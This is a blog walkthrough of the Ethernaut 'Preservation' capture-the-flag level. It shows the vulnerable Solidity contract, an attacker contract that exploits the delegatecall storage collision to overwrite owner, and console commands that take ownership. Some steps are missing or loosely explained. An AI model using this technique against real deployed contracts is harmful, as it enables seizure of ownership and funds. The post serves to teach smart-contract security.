#16 — Ethernaut Challenge 16 — Preservation

Objective:

Understanding the code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

The code declares two libraries as public which are referenced as timeZone1Library and timeZone2Library, and owner is the variable in which our address would go. The bytes4 constant sets the function signature for delegatecall and calls the setTime function in the LibraryContract. The constructor initializes these variables upon deploying the contract.

The setFirstTime() function makes a delegatecall to the timeZone1Library library, and setSecondTime() makes a delegatecall to timeZone2Library. If you recall, a delegatecall will change the state variables of the contract being called. We will use this information to hack the contract.

In the next part of the code, a Library is made with a storedTime variable and a function called setTime() which turns storedTime into the time declared as a parameter of this function.

How to hack this contract?

  1. On the console again, type in web3.eth.getStorageAt(“YOUR_CONTRACT_ADDRESS”, 0). This will give you the address of the first variable in the challenge’s contract, which is timeZone1Library. Let’s head to Remix IDE to hack this contract.
  2. This is the solution contract code:
contract PreservationAtx{
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;

function setTime(uint _time) public{
owner = msg.sender;
}
}

It is important to note that the variables are in the same order as the main contract because we will use the same storage order as the main Preservation contract.

4. Deploy this contract on Remix and copy the address of this contract, and head over back to Ethernaut. Now, let’s do

await contract.setFirstTime(“THE_COPIED_ADDRESS_HERE”)

5. This will set the timeZone1Library to the contract we created because it makes a delegatecall whose state variables our contract can alter after we deploy it.

6. Finally, do await contract.setFirstTime(“YOUR_ADDRESS_HERE”).

7. That’s it, the contract should be hacked now, and you should be the owner when you do await contract.owner().

Congratulations on completing this level, more solutions to the remaining challenges will be coming up in my next blog posts, so make sure to follow and clap for more similar content!

Thanks for reading this far. I wish you all the best!

--

--

I am a student in a university in India, I talk about web3 tech and blockchain because I am a web3 enthusiast!

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Rahul Pujari

I am a student in a university in India, I talk about web3 tech and blockchain because I am a web3 enthusiast!